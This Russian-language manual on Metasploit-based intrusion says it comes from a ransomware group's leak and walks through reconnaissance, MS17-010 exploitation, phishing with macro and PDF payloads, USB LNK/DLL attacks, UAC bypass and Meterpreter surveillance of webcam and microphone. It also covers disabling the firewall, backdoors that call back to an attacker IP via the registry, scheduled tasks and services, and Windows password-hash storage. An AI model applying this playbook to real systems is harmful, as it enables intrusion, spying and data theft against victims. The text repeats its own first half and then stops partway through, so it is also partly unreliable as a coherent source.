Данный материал был взят из утечки, которую устроил недовольный работник.
Конечно же я всё это усвоил, у вот получился у меня вот такой мануальчик.
Тема ранса вроде спадает, и мною было решено выложить данный мануал(надеюсь он уже ни кому не навредит).
Если бы выложил его раньше, то возможно что "молодые" ребята начали пользоваться им.
Что принесло бы не мало бед компаниям и конечно же самим ребятам.
Пользуйтесь с осторожностью, я же надесь что это не нанесёт вреда ни кому!!!
Самому мне было интересно, что же эта за тема такая, и что они делают.
Сам я конечно же не занимался этим, и от моих эксперементов и любопытства страдали только виртуальные машины.
ДАННЫЙ ВИД ПЕНТЕСТА ДЕЛИТЬСЯ НА ТАКИЕ ВОТ ЭТАПЫ:
- Сбор информации об атакуемом объекте(Reconnaissance):
- IP-адреса/доменные имена
- Whois/DNS записи
- Email/Телефоны
- Сканирование(Scanning/Enumeration):
- Определение операционной системы
- Сканирование портов
- Сканирование на уязвимость
- Определение пользователей и разделяемых ресурсов
- Получение доступа/Эксплуатация(Gaining access/Exploitation)
- Пост-эксплуатация(Post-exploitation):
- Сбор информации(файлы, пароли и т.д.)
- Закрепление доступа(backdoor, Trojan, rootkit)
- Атака на другие машины
- Сокрытие следов взлома
ОСНОВНЫЕ ТЕРМИНЫ:
- Уязвимость(vulnerability)
Ошибки в поведении программы или операционной системы, вызванные несовершенным програмированием и проектированием. Используя уязвимость можно получить контроль над программой или всей системой.
- Эксплуатация уязвимости(vulnerability exploitation)
Использование слабости программы для получения контроля над системой.
- Эксплоит(exploit)
Программа, которая эксплуатирует уязвимость.
- Полезная нагрузка(payload)
Программа, которая выполняет определённое действие(удалённый доступ, похищение паролей и др.), если эксплуатация окажется успешной.
ТЕПЕРЬ ПОГОВОРИМ ПРО METASPLOIT:
- Многофункциональная платформа
- Эксплуатация уязвимости
- Сканирование портов
- Сканирование на уязвимость
- Создание backdoor
- Обход антивирусов и систем обнаружения вторжений(IDS/IPS)
Позже когда я продолжал знакомиться с этой программой, меня бударажило от того какой софт создали эти парни...
Похожие чувства я испытывал лишь когда изучал sqlmap....
ТИПЫ ЭКСПЛУАТАЦИИ:
- Удалённая(server-side) - характерна для серверных приложений(WEB, SSH, FTP, NetBIOS и так далее) имеющие открытый порт и ожидающие подключения со стороны клиентов. Не требует взаимодействия пользователя.
- Локальная(client-side) - характерная для любых несерверных приложений(интернет браузеры, медиа плееры, программы просмотра и редактирования документов различного формата и так далее). Необходимо взаимодействие пользователя.
- Повышение привелегий(privilege escalation) - используется для повышения прав пользователя(administrator, root, SYSTEM) в системе. Реализуется в процессе локальной/серверной эксплуатации либо уже после эксплуатации. Иногда требуется взаимодействие пользователя.
СТУРКТУРА МОДУЛЕЙ:
Я взял скриншоты из видео, а потом приложил скриншоты с актуальной версии kali linux(metasploit легко устанавливается из официального репозитория git'ом в любою линукс систему и не только), чтобы вы могли посмореть сами на них....их колчество впечатляет.
А вот и скрины с кали
БАЗОВЫЕ КОМАНДЫ:
Это самая важная команда, которая есть в этом софте
Посмотреть справку по определённой команде:
Есть команды, которые имеют большой функционал и справка у неё будет громадная.
Отобразит доступные модули и скрипты, которые есть в данной системе.
Посмотреть все эксплоиты, которые есть в арсенале
Найдёт все модули для определённого модуля, в данном случае telnet
Найдёт только експлоиты для telnet
Найдёт експлоиты для Windows под telnet
Запросить справку по конкретному эсплоиту
Рекомендую так же читать инфу по ссылкам, которые попадаются в документакции....
Выбрать эксплоит, который будет использован
Когда строка поменяет вид, это будет нам говорить что мы перешли к настройке эксплоита.
Поэтому если сейчас ввести команду help, отобразятся дополнительные команды.
Когда был выбран Exploit, нужно выбрать Payload
Если ввести команду
Если после прочтения информации о нагрузке, хочется её использовать
Для того, чтобы посмотреть опции которые доступны:
Опции будут показаны как для екплоита так и для нагрузки.
После того как будут внесены какие-то параметры, можно посмотреть общую картину.
Ну а теперь нужно запустить всё это дело:
Этой информации достаточно, чтобы научиться пользоваться Metasploit....
Теперь перейдём к более насущным темам...
ПРЕДВАРИТЕЛЬНЫЙ СБОР ИНФОРМАЦИИ:
Есть хорошая книга по данной тематике, ссылку на скачку выкладывать не буду, но книгу можно найти вот так: google hacking for penetration testers
Ну и довольно банальные линки:
www.exploit-db.com
- Для чего нам нужны емайлы ?
Ну конечно же для атаки через социальную инженерию:
- Phishing - отправка электронных писем с инфицированными файлами или ссылками на заражённые сайты
- Spamming - массовая реклама
- Fraud - электронные письма с подменными адресами отправителей, чтобы убедить получателя выполнить определённое действия
- Цели
- Инфицировать компьютер
- Сбор определённой информации
- Заставить и убедить получателя выполнить определённые действия
- Где и как найти email объекта ?
- Поисковые системы(google, shodan)
- Социальные сети(LinkedIn, Facebook)
Программы для посика электронных адресов:
- Theharvester(в коробке kali)
- Metasploit(auxiliary/gather/search_email_collector)
- Google hacking
- Maltego
Лично я попробовал модуль от metasploit(см выше), а так же Theharvester
Как говориться, Google - найдётся всё....
Нас больше всего интересуют документы, сетевые устройства, имена пользователей и их пароли, уязвимости в сервиса,
версии программного обеспечения и любая конфиденциальная информация....
Поисковые операторы, которые нам в этом помогут
- inurl - поиск URL
- intext - поиск текста на веб странице
- filetype - поиск определённого файла
- cache - поиск кэшированных страниц
- site - поиск определённых веб сайтов
- intitle - поиск заголовков веб страниц
- | - логическое "ИЛИ"(OR). Используется для объединения нескольких операторов
- - - исключает поисковой элемент
Пример:
site:best_of_the_best_company.com filetype:pdf
Найдёт все открытые pdf фалы которые есть на данном сайте
Осталось поиграться, и да! в интернете есть множество пособий, на том же habr, как пользоваться google-dorks....рекомендую!
Так же хорошо искать по кешированным страницам сайта, это даст вам немного анонимности и
конечно же даст вам доступ к данным, которые уже могли быть удалены с сайта...пригодится.
Что такое Shodan?
Думаю тут каждый знаком с этим фруктом, но всё же - это поисковой сервис утсройст, подключённых к интернету.
Он читает баннер устройства и извлекает из него информацию.
Что мы можем найти:
- Уязвимости
- Маршрутизаторы/Домашние модемы
- Онлайн службы
- Устаревшие операционные системы и серверы без обновлений
- Веб камеры/Потоковое видео
- Эксплоиты
- Промышленные Системы Управления(SCADA)
Опции:
фильтр / описание / пример
os / тип операционной системы / os:"Linux"
net / диапазоны IP/CIDR адресов / net:"200.1.1.1/24"
hostname / имя устройства / hostname:"router.arpa.net"
product / название программы / product:"Apache"
version / версия программы / version:"2.3"
country / код страны / country:"RU"
port / номер порта от сетевой службы / port:"23"
category / доступная категория / category:"malware"
Пример: os:"Windows XP" port:"80" country:"DE"
Для правильного движения нейронов вашей голове, это действительно достаточно.
СКАНИРОВАНИЕ ПОРТОВ ИНТЕГРИРОВАННЫМ NMAP:
Сканирование nmap'ом из metasploit
Для начала нужно посмотреть
Создать пространство
И теперь запустить сканирование
Проверить бд можно так:
hosts - посмотреть всю информацию о хосте
services - посмотреть порты запущенные на хосте
vulns - посмотреть уязвимости доступные для этого хоста
notes - посмотреть заметки
ВЗЛОМ СИСТЕМЫ ЧЕРЕЗ УЯЗВИМОСТЬ В SMB MS17-010:
Так как мы уже научились искать и смотреть справку, выполним такую команду
Теперь его нужно выбрать
Если хочется посмотреть информацию об этом эксплоите, тогда нужно ввести команду
Теперь нужно посмотреть какие пайлоады доступны к этому експлоиту
После того как нагрузка выбрана, нужно указать что мы хотим её использовать
Теперь нужно установить парамерт RHOST
Нужно посмотреть параметры которые необходимы для нашей нагрузки
Тут можно посмотреть параметры, обязательные для експлоита
А тут можно посмотреть параметры нагрузки
После того, как всё проверено, можно запустить експлоит
После того как получен доступ к cmd можно посмотреть что за система попалась
Был получен доступ к shell, сейчас попробуем получить доступ к meterpreter.
В чём отличие? Meterpreter круче, так как может показать намного больше информации о системе, а так же позволяет исползовать скрипты.
Прорим есть ли необходимость установить дополнительные параметры
, а потом запускаем експлоит
ПОЛУЧЕНИЕ УДАЛЁННОГО ДОСТУПА ЧЕРЕЗ ГРАФИЧЕСКИЙ ИНТЕРФЕЙС:
В MetaSploit есть несколько модулей, которые поддерживают VNC
Для примера выберем это:
Можно посмотреть параметры, которые можно поменять
Стоит обратить внимание на необязательный параметр ViewOnly, он позволяет использоавть VNC в режиме наблюдателя.
Т.е. можно будет только смотреть, но не управлять системой. Если планируется использовать атакуемую систему, то стоит дать опции ViewOnly опцию false
Теперь можно перейти к запуску эксплоита
BIND VS REVERSE:
В качестве примера, возьмётся нагрузка generic/shell_bind_tcp
и посмотрим его опции
Теперь посмотрим его же вариант только в reverse
и заглянем в опции
Стоит обратить внимание на LHOST который является обязательным.
Т.е. нужно утсановить свой IP адрес, для того чтобы атакуемый хост соединился с ним.
ВЗЛОМ WEB СЛУЖБЫ В ПРОГРАММЕ ICECAST:
MetaSploit умеет проводить атаку "Переполнение буфера"
Теперь попробуем подобрать нужную нагрузку
например вот этот
и посмотрим его опции
Для примера:
DOS АТАКА НА УДАЛЁННУЮ СИСТЕМУ:
так же есть второй скрипт который способен длать нужное
Провери параметры модуля, можно заметить что у него всего два параметра
Порт оствим таким же, а IP поменяем
ВНЕДРЕНИЕ ИСПОЛНЯЕМОГО КОДА В PDF ДОКУМЕНТ:
FILENAME - выходной файл
INFILENAME - иходный файл из которого будет делать pdf
LAUNCH_MESSAGE - сообщение об ощибке при открытии файла
Метасплоит сгенерирует файл, скопируем его в папку веб-сервера
Так как эксплоит генерирует только файл, нужно создать слушителя
Когда пользователь откроет PDF файл, прилетит сессия meterpreter
Когда пользователь закроет PDF файл, сессия останется открытой, так как она привяжется к другому процессу.
ВЗЛОМ КОМПЬЮТЕРА ЧЕРЕЗ USB НОСИТЕЛИ И ОБЩИЕ СЕТЕВЫЕ ПАПКИ:
Рассмиотрим узявимость, которая используется при помощи USB-флешки или общей сетевой папки на сервере.
Для этого достаточно расположить два файла: .lnk(в простонродье - ярлык) и файл динамической подключаемой библиотеки .dll(.cpl).
Когда пользователь открывает папку, которая хранит данные файлы - система начинает обрабатывать ярлык,
в результате данной обработки вызывается библиотечный файл, который находится в этой же папке(он содержит вредоносный код PAYLOAD).
Посмотрим какие параметры необходимо установить
Что касается експлоита, то там все параметры не обязательные, а вот у нагрузки есть обязательный параметр LHOST
После того как параметр будет установлен, для примера
Будет сгенерировано множество ярлыков и один dll файл
Почему создаётся множество файлов ? дело в том что нужно указать конкретную букву диска к которому подключится флеш накопитель.
От этого метасплоит создаёт ярлык для каждой буквы, которой может стать флешка. Так как не можем изначально знать это.
После того, как файлы будут лежать где нужно → нужно создать слушателя
После того, как флешка будет открыта, прилетит сесия
Возникает вопрос, если мы не открывали файл, то куда инжектируется метерпретер ?
В системах Windows есть специальная служба для запуска библиотечных файлов, назвается RunDLL32.exe
Именно в него и инжектируется PAYLOAD
Если процесс завершить, то закроется и сама сессия.
ВНЕДРЕНИЕ МАКРОСА В ДОКУМЕНТ MS OFFICE:
С помощью MetaSploit мы создадим код на языке VisualBasic, этот код мы вставим в документ EXELE.
Затем его можно отправить пользователю и ждать пока, тот его откроет.
Проверим параметры
В нашем случае достаточно установить параметры для LHOST
-t выводит код в текстовом виде
vba показывает программе, что код нужно генерировать именно на языке VisualBasic
В результате будет сгенерирован код, который нужно скопировать и вставить в документ
Тут нужно ввести имя макроса
В открывшемся окне, удалим генерированный код
И вставим свой код
Сохраняем наш документ с поддержкой макросов(Книга Excel с поддержкой макросов *.xlsm)
Нужно не забыть запустить слушатель, перед тем как подсунуть файл
Когда на атакуемой машине будет открыт файл → прилетит сессия
Сессия привязывается к документу, если его закрыть то закроется и сессия.
Для того, чтобы остаться в системе можно использовать опции megrate для того чтобы инжектироваться в другой процесс.
ГЕНЕРИРОВАНИЕ САМОСТОЯТЕЛЬНОГО ФАЙЛА С MSFVENOM:
Суть заключается в том, что создаётся нагрузка в отдельный файл. Потом запускается слушатель, и как пользователь откроет файл - прилетит сесиися.
-p отвечает за ПОЛЕЗНУЮ НАГРУЗКУ
lport порт на который будет отстукивать хост
lhost ip на который будет отстукивать
-f отвечает за формат в которой будет создана нагрузка
-o отвечает за место где нужно сохрнанить файл
Файл готов, теперь нужно включить слушатель
Теперь остаётся отправить программу на ПК жертвы.
С кали легче всего скачать файл за счёт веб-сервера(
Для того чтобы выбрать нагрузку, можно посмотреть какие нагрузки есть доступные
Если хочется посмотреть нагрузку только для Windows
А если нужна нагрузка под виндоуз с meterpreter
Для того, чтобы посмотреть все доступные форматы выходных файлов
СПИСОК КОМАНД ДЛЯ РАБОТЫ В METERPRETER:
help – помощь, вызов справки
getpid – отображение номера процесса, под которым работает Meterpreter
ps – список всех текущих процессов
migrate – мигрирование Meterpreter в другой процесс
sysinfo – отображение краткой информации об удаленной системе
getuid – отображение текущего пользователя, от имени которого работает Meterpreter
show_mount – список физических и логических дисков
ifconfig/ipconfig – отображает сетевые настройки
arp – отображает МАС и IP адреса локальных устройств, с которыми взаимодействовал хост
netstat – отображает текущие сетевые соединения
route – отображение таблицы маршрутизации
getproxy – получение информации о системном прокси-серевере
pwd – отображает текущую директорию/папку
cd – команда для перехода в другую директорию/папку
dir/ls – отображает список файлов и папок в указанной директории
search – поиск файлов
download – скачивает файлы с удаленной машины на локальную
dupload – загружает файлы с локальной машины на удаленную
idletime – отображает время неактивности пользователя на удаленном компьютере
webcam_snap – делает снимок со встроенной удаленной камеры
webcam_stream – получает видео поток со встроенной удаленной камеры
record_mic – запись звука на удаленной машине
webcam_chat – организация видеочата
СПИСОК ОСНОВНЫХ КОМАНД ДЛЯ РАБОТЫ В CMD:
netuser – локальные пользователи
whoami/all - сведения о текущем пользователе
driverquery – список установленных драйверов
ipconfig/all – сетевые настройки
ipconfig/diplaydns – кэшированные DNS записиa
arp–a - IP адреса, с которыми общался компьютер
netstat – установленные соединения
–a - список открытых портов
–ao - список открытых портов и номера процессов
-abo - список открытах портов, номеров процессов и их названия
–r - таблица маршрутизации
netshfirewallshowconfig - просмотр настроек фаервола
netshfirewall set opmode disable – отключение фаервола
tasklist – список текущих процессов
taskkill
/f
/pid «номер процесса» – отключение процесса
schtaksks – запланированные задачи
scquery - список всех служб
scquery «название службы» - проверка состояния службы
scstart/stop «название службы» - запуск/остановка службы
netstart – запущенные службы
cd – навигация по файловой системе
dir – просмотр файлов и папок в текущей папке
/ah - отображение скрытых файлов и папок
/ad – отображение папок
/b
/s «папка и искомое слово» - поиск файлов по ключевому слову
mkdir - создание папки
УПРАВЛЕНИЕ КОМПЬЮТЕРОМ ЖЕРТВЫ ЧЕРЕЗ КОМАНДНУЮ СТРОКУ CMD:
Не всегда будет доступен графический интерфей, поэтому нужно уметь делать всё через CMD.
Кроме того , при помощи команд можно выполнять действия намного быстрее.
После того, как мы полчили доступ к хосту, нужно собрать как можно больше информации о неё.
Group Name - имя пользователя и группы в которые он входит
Privilege Name - привелегии пользователя
Чтобы проверить какие локальные пользователи зарегистрированы в сети:
Можно посмотреть заплатки которые установлены в системе:
Покажет как заплатки для ОС так и для ПО
Так же покажет информацию о системе
Чтобы узнать все установленные драйвера:
Проверить сетевые настройки
Команда
Укажет IP и MAC адреса для вашей локальной сети
Посмотреть активные соединения
Посмотреть все активные порты
Открытые порты сообщают, что запущена служба или программа серверного типа, которая просто ждёт входящего подключения.
Чтобы узнать номер процесса и название программы, которая использует открытый порт
Для отображения таблицы маршрутизации:
Для того, чтобы проверить настройки фаервола:
Operational mode = Enable - фаервол включён
File location - место где находиться LogFile фаерволла.
Для того чтобы отключить фаерволл:
Управление процессами и службами
Чтобы завершить процесс, нужно ввести:
/f - для принудительного завершения процесса
Для того чтобы посмотреть список запланироанных задач
Чтобы увидеть запущенные службы
Чтобы что-то остановить:
Чтобы проверить, отключилась ли служба:
Найти на диске C файлы со словом Notepad в названии
ПОВЫШЕНИЕ ПРИВЕЛЕГИЙ ДОСТУПА:
Начиная от Windows Vista в Windows был установлен механизм контроля доступа пользователей UAC.
Все приложения, для работы которых требуется маркер доступа администратора, должны запрашивать подтверждение администратора.
Существует только одно исключение — это взаимосвязь между родительским и дочерним процессами.
Дочерние процессы наследуют маркер доступа пользователя от родительского процесса. При этом как родительский, так и дочерний процессы должны иметь один и тот же уровень целостности.
Например: Если мы запустили Exploer от администратора, и потом открываем им наш експлоит, то эксплоит будет запущен от имени администратора.
Так как его родитель Exploer запущен от имени администратора.
Способ 1
Если на хосте есть программы, которые испоьзуют права администратора. И они используют dll(которые как правило находятся в папке установленной программы.).
Если заменить легитимную dll на вредоносную dll, при запуске программы(она как всегда просит чтобы запустили её от имени администратора) она будет обращаться к своим dll и тогда наш експлоит будет выполнен.
Способ 2
Некоторые COM объекты в своей работе используют dll. При этом эти файлы могут находиться на любой папке компьютера. Пути к этим dll хранятся в реестре. И при зпуске программы,
она проверяет реестр и смотрит пути к этим библиотекам. Если изменить путь в реесте и указать путь к нашему коду, то системная программа обратиться к нашему коду.
При том, что изменить реестр достаточно прав обычного пользоавтеля.
"Повышение привелегий возможно только при определённых условиях"
Пользователь должен иметь обычный аккаунт и находиться в администраторской группе.
Данная запись говорит, что пользователь находиться в администраторской группе.
А эта запись(а конкретнее слово - Medium) говорит что пользоавтель имеет обычный аккаунт
Если вместо этого было бы LOW - пользователь имеет учётную запись с ограниченными правами.
Для начала воспользуемся командой getuid для того, что бы посмотреть имя текущего пользователя.
Но команда
Поэтому можно использовать другие техники, основанные на уязвимости операционной системы.
Теперь введём следующую команду:
Проверим доступные опции show options
Как видно, нужно установить лишь один параметр SESSION
так как у нас уже есть сессии в фоне, можно вернутся к одной из них
Для данного експлоита устанавливать пайлоад не нужно, он будет вставлен автоматически. Но если всё таки сделать set payload....
можно указать какую-то другую полезную нагрузку.
И теперь повторно выполним команду
На этот раз она сработала.
Проверим пользователя
Для сравнения введём
Как видно мы имеем System Mandatory Level
Т.е. повышенные привилегии. И стоит помнить что права SYSTEM стоят выше чем Administrator.
Если по каким-то причинам данный эксплоит не сработал, то можно использовать другой.
По привычке проверим опции, которые нам доступны show options(Такие трюки не проходят на тачках выше Windows 8 )
Но не стоит здаваться так как можно попробовать воспользоваться експлоитами exploit/windows/oracle
Но работают они так себе!
Но есть ещё один трюк, который может повысить привилегии в системе.
Трюк заключается в том, что мы попросим пользователя, чтобы тот дал согласие на повышение привилегий.
Для начала нужно ввести команду
Она показывает активен ли пользователь в данный момент, или возможно он отошёл от ПК.
Если мы понимаем, что пользователь активен:
Проверим параметры
Нас интересует параметр TECHNIQUE
Для запутывания антивирусов и самого пользователя, рекомендуется использовать параметр PowerShell
Теперь запускаем експлоит
На атакуемой системе появляется такое окно, пользователь может подумать что какому то процессу нужны права администратора,
и так как он ни чего подозрительного не делал, он не может поверить в то что на другом проводе жду его уже я.
Если он нажмёт на YES → прилитит сессия с новыми правами.
Стоит обратить внимание на имя пограммы....И его автора.
Но есть одна проблема, у этого эксплоита есть ТАЙМАУТ , если пользователь будет долго решаться на какую кнопку нажать - слушатель закроется.
Когда закроется слушатель, даже если пользователь нажмёт YES сессия не прилетит, так как просто не куда. Этот способ иногда срабатывает и может быть полезен.
УСТАНОВКА БЕКДОРА:
Для установки бекдора нам необходимо повысить права.
Для просмотра всех опций:
выполним команду:
-X бекдор запуститься сразу же после системы
-i 5 с интервалом в 5 минут
-p 4444 на удалённый порт 4444
-r 192.168.0.16 с удалённым адресом 192.168.0.16
После выполнения мы будем видеть где установлен бекдор в системе
Так же снизу тут показан ключ реестра для автозагруки бекдора в системе
Для того, чтобы проверить реестр, действительно ли там выставлены правильные настройки:
Теперь закроем сессию
и откроем слушатель
теперь если наш компьютер будет перезапущен. и мы заново откроем слушатель → сессия прилетит.
Этот способ так себе, и работает лишь левой ногой прокинутой за правым ухом.....лучше пресмотреться к другим модулям постэксплуатации:
УСТАНОВКА БЕКДОРА ЧЕРЕЗ ПЛАНИРОВЩИК ЗАДАЧ:
Для начала нужно создать сам бекдор, после чего через meterpreter нужно загрузить бекдор на компьютер жертвы, желательно в системные папки.
Так же можно повысить привелегии на хосте жертвы и это даст возможно переименовать бекдор как системный файл, чтобы снять с него подозрения.
Когда файл загружен, его нужно переодически запускать.
/CREATE - создать
/TN - название задачи
/ST 14:15 - запуститься в 14:15
/SC DAILY - будет запускаться каждый день
/RI - задача будет повторяться каждые две минуты
/TR "c:/users/ieuser/backdoor.exe" - запускать программу, которая расположена по адресу c:/users/ieuser/backdoor.exe
Задача создана успешно. Теперь выходим из этого режима и запускаем слушатель. Когда заданные параметры будут соблюдены, наш бекдор прокинет нам сессию на наш слушатель.
УСТАНОВКА БЕКДОРА ЧЕРЕЗ СЛУЖБЫ:
Ещё один способ для запуски бекдора, бекдор будет запускаться автоматически при старте системы.
Для начала нужно загрузить бекдор, например в системную папку:
Теперь нужно перейти в режим shell
Создать новую службу, которая будет запускать бекдор
Если на удалённом хосте посмотреть Службы
Можно увидеть бекдор.
Пока перезагружем атакуемый хост, можно включить слушатель
После того как система стартует, она запускает службы, в том числе и наш бекдор.
ГДЕ ХРАНЯТСЯ ПАРОЛИ В WINDOWS:
Для авторизации пользователей, в системе используется специальный сервис проверки подленности локальной проверки безопасности( Local Security Authority LSA).
Есть ещё одна служба которая участвует в авторизации пользователей → Security Account Manager(SAM)
По сути данная система представляет из себя БД локальных пользователей, которая хранит логины и пароли(хешированные).
Как это происходит
Пользователь вводит пару login:pass → LSA генерирует хеш введённого пароля и обращается в SAM для того чтобы получить из БД SAM хеш этого логина → LSA сверяет хеш, который дал ему SAM.
Если хеши одинаковые → пользователь проходит авторизацию, в противном случае ему заново придётся платить пароль.
Каким образом система вычисляет хеш пароля
Существует два способа:
Lan Manager(LM) считается очень слабым и на его замену пришёл NT Lan Manager(NTLM). Темнеменне LM досих пор используется в различных системах, включая Windows 10. Это сделано для совместимости систем.
Как работает Lan Manager
Когда вводиться пароль, и если он короче 14 символов, вместо недостующих символов дописываются нули, после чего пароль переводиться в верхний регистр.
После чего последовательность делиться на две равние части, каждая часть шифруется по алгоритму DES. В качестве ключа используется: KSG!@#$%
Конечно же я всё это усвоил, у вот получился у меня вот такой мануальчик.
Тема ранса вроде спадает, и мною было решено выложить данный мануал(надеюсь он уже ни кому не навредит).
Если бы выложил его раньше, то возможно что "молодые" ребята начали пользоваться им.
Что принесло бы не мало бед компаниям и конечно же самим ребятам.
Пользуйтесь с осторожностью, я же надесь что это не нанесёт вреда ни кому!!!
Самому мне было интересно, что же эта за тема такая, и что они делают.
Сам я конечно же не занимался этим, и от моих эксперементов и любопытства страдали только виртуальные машины.
ДАННЫЙ ВИД ПЕНТЕСТА ДЕЛИТЬСЯ НА ТАКИЕ ВОТ ЭТАПЫ:
- Сбор информации об атакуемом объекте(Reconnaissance):
- IP-адреса/доменные имена
- Whois/DNS записи
- Email/Телефоны
- Сканирование(Scanning/Enumeration):
- Определение операционной системы
- Сканирование портов
- Сканирование на уязвимость
- Определение пользователей и разделяемых ресурсов
- Получение доступа/Эксплуатация(Gaining access/Exploitation)
- Пост-эксплуатация(Post-exploitation):
- Сбор информации(файлы, пароли и т.д.)
- Закрепление доступа(backdoor, Trojan, rootkit)
- Атака на другие машины
- Сокрытие следов взлома
ОСНОВНЫЕ ТЕРМИНЫ:
- Уязвимость(vulnerability)
Ошибки в поведении программы или операционной системы, вызванные несовершенным програмированием и проектированием. Используя уязвимость можно получить контроль над программой или всей системой.
- Эксплуатация уязвимости(vulnerability exploitation)
Использование слабости программы для получения контроля над системой.
- Эксплоит(exploit)
Программа, которая эксплуатирует уязвимость.
- Полезная нагрузка(payload)
Программа, которая выполняет определённое действие(удалённый доступ, похищение паролей и др.), если эксплуатация окажется успешной.
ТЕПЕРЬ ПОГОВОРИМ ПРО METASPLOIT:
- Многофункциональная платформа
- Эксплуатация уязвимости
- Сканирование портов
- Сканирование на уязвимость
- Создание backdoor
- Обход антивирусов и систем обнаружения вторжений(IDS/IPS)
Позже когда я продолжал знакомиться с этой программой, меня бударажило от того какой софт создали эти парни...
Похожие чувства я испытывал лишь когда изучал sqlmap....
ТИПЫ ЭКСПЛУАТАЦИИ:
- Удалённая(server-side) - характерна для серверных приложений(WEB, SSH, FTP, NetBIOS и так далее) имеющие открытый порт и ожидающие подключения со стороны клиентов. Не требует взаимодействия пользователя.
- Локальная(client-side) - характерная для любых несерверных приложений(интернет браузеры, медиа плееры, программы просмотра и редактирования документов различного формата и так далее). Необходимо взаимодействие пользователя.
- Повышение привелегий(privilege escalation) - используется для повышения прав пользователя(administrator, root, SYSTEM) в системе. Реализуется в процессе локальной/серверной эксплуатации либо уже после эксплуатации. Иногда требуется взаимодействие пользователя.
СТУРКТУРА МОДУЛЕЙ:
Я взял скриншоты из видео, а потом приложил скриншоты с актуальной версии kali linux(metasploit легко устанавливается из официального репозитория git'ом в любою линукс систему и не только), чтобы вы могли посмореть сами на них....их колчество впечатляет.
А вот и скрины с кали
БАЗОВЫЕ КОМАНДЫ:
Это самая важная команда, которая есть в этом софте
helpПосмотреть справку по определённой команде:
help setЕсть команды, которые имеют большой функционал и справка у неё будет громадная.
help creds
Код:
With no sub-command, list credentials. If an address range is
given, show only credentials with logins on hosts within that
range.
Usage - Listing credentials:
creds [filter options] [address range]
Usage - Adding credentials:
creds add uses the following named parameters.
user : Public, usually a username
password : Private, private_type Password.
ntlm : Private, private_type NTLM Hash.
postgres : Private, private_type postgres MD5
ssh-key : Private, private_type SSH key, must be a file path.
hash : Private, private_type Nonreplayable hash
jtr : Private, private_type John the Ripper hash type.
realm : Realm,
realm-type: Realm, realm_type (domain db2db sid pgdb rsync wildcard), defaults to domain.
Examples: Adding
# Add a user, password and realm
creds add user:admin password:notpassword realm:workgroup
# Add a user and password
creds add user:guest password:'guest password'
# Add a password
creds add password:'password without username'
# Add a user with an NTLMHash
creds add user:admin ntlm:E2FC15074BF7751DD408E6B105741864:A1074A69B1BDE45403AB680504BBDD1A
# Add a NTLMHash
creds add ntlm:E2FC15074BF7751DD408E6B105741864:A1074A69B1BDE45403AB680504BBDD1A
# Add a Postgres MD5
creds add user:postgres postgres:md5be86a79bf2043622d58d5453c47d4860
# Add a user with an SSH key
creds add user:sshadmin ssh-key:/path/to/id_rsa
# Add a user and a NonReplayableHash
creds add user:other hash:d19c32489b870735b5f587d76b934283 jtr:md5
# Add a NonReplayableHash
creds add hash:d19c32489b870735b5f587d76b934283
General options
-h,--help Show this help information
-o <file> Send output to a file in csv/jtr (john the ripper) format.
If file name ends in '.jtr', that format will be used.
If file name ends in '.hcat', the hashcat format will be used.
csv by default.
-d,--delete Delete one or more credentials
Filter options for listing
-P,--password <text> List passwords that match this text
-p,--port <portspec> List creds with logins on services matching this port spec
-s <svc names> List creds matching comma-separated service names
-u,--user <text> List users that match this text
-t,--type <type> List creds of the specified type: password, ntlm, hash or any valid JtR format
-O,--origins <IP> List creds that match these origins
-r,--realm <realm> List creds that match this realm
-R,--rhosts Set RHOSTS from the results of the search
-v,--verbose Don't truncate long password hashes
Examples, John the Ripper hash types:
Operating Systems (starts with)
Blowfish ($2a$) : bf
BSDi (_) : bsdi
DES : des,crypt
MD5 ($1$) : md5
SHA256 ($5$) : sha256,crypt
SHA512 ($6$) : sha512,crypt
Databases
MSSQL : mssql
MSSQL 2005 : mssql05
MSSQL 2012/2014 : mssql12
MySQL < 4.1 : mysql
MySQL >= 4.1 : mysql-sha1
Oracle : des,oracle
Oracle 11 : raw-sha1,oracle11
Oracle 11 (H type): dynamic_1506
Oracle 12c : oracle12c
Postgres : postgres,raw-md5
Examples, listing:
creds # Default, returns all credentials
creds 1.2.3.4/24 # Return credentials with logins in this range
creds -O 1.2.3.4/24 # Return credentials with origins in this range
creds -p 22-25,445 # nmap port specification
creds -s ssh,smb # All creds associated with a login on SSH or SMB services
creds -t ntlm # All NTLM creds
Example, deleting:
# Delete all SMB credentials
creds -d -s smb
Отобразит доступные модули и скрипты, которые есть в данной системе.
help showПосмотреть все эксплоиты, которые есть в арсенале
show exploitНайдёт все модули для определённого модуля, в данном случае telnet
search telnetНайдёт только експлоиты для telnet
search type:exploit telnetНайдёт експлоиты для Windows под telnet
search type:exploit platform:windows telnetЗапросить справку по конкретному эсплоиту
info exploit/windows/telnet/goodtech_telnetРекомендую так же читать инфу по ссылкам, которые попадаются в документакции....
Выбрать эксплоит, который будет использован
use /exploit/windows/telnet/goodtech_telnet
Когда строка поменяет вид, это будет нам говорить что мы перешли к настройке эксплоита.
Поэтому если сейчас ввести команду help, отобразятся дополнительные команды.
Когда был выбран Exploit, нужно выбрать Payload
Если ввести команду
show payloads когда активен, экспоит, то он покажет конкретные payload для этого эксплоита.info windows/messageboxЕсли после прочтения информации о нагрузке, хочется её использовать
set payload windows/messagebox
Для того, чтобы посмотреть опции которые доступны:
show options
Опции будут показаны как для екплоита так и для нагрузки.
После того как будут внесены какие-то параметры, можно посмотреть общую картину.
Ну а теперь нужно запустить всё это дело:
exploitЭтой информации достаточно, чтобы научиться пользоваться Metasploit....
Теперь перейдём к более насущным темам...
ПРЕДВАРИТЕЛЬНЫЙ СБОР ИНФОРМАЦИИ:
Есть хорошая книга по данной тематике, ссылку на скачку выкладывать не буду, но книгу можно найти вот так: google hacking for penetration testers
Ну и довольно банальные линки:
OffSec’s Exploit Database Archive
The GHDB is an index of search queries (we call them dorks) used to find publicly available information, intended for pentesters and security researchers.
- Для чего нам нужны емайлы ?
Ну конечно же для атаки через социальную инженерию:
- Phishing - отправка электронных писем с инфицированными файлами или ссылками на заражённые сайты
- Spamming - массовая реклама
- Fraud - электронные письма с подменными адресами отправителей, чтобы убедить получателя выполнить определённое действия
- Цели
- Инфицировать компьютер
- Сбор определённой информации
- Заставить и убедить получателя выполнить определённые действия
- Где и как найти email объекта ?
- Поисковые системы(google, shodan)
- Социальные сети(LinkedIn, Facebook)
Программы для посика электронных адресов:
- Theharvester(в коробке kali)
- Metasploit(auxiliary/gather/search_email_collector)
- Google hacking
- Maltego
Лично я попробовал модуль от metasploit(см выше), а так же Theharvester
Как говориться, Google - найдётся всё....
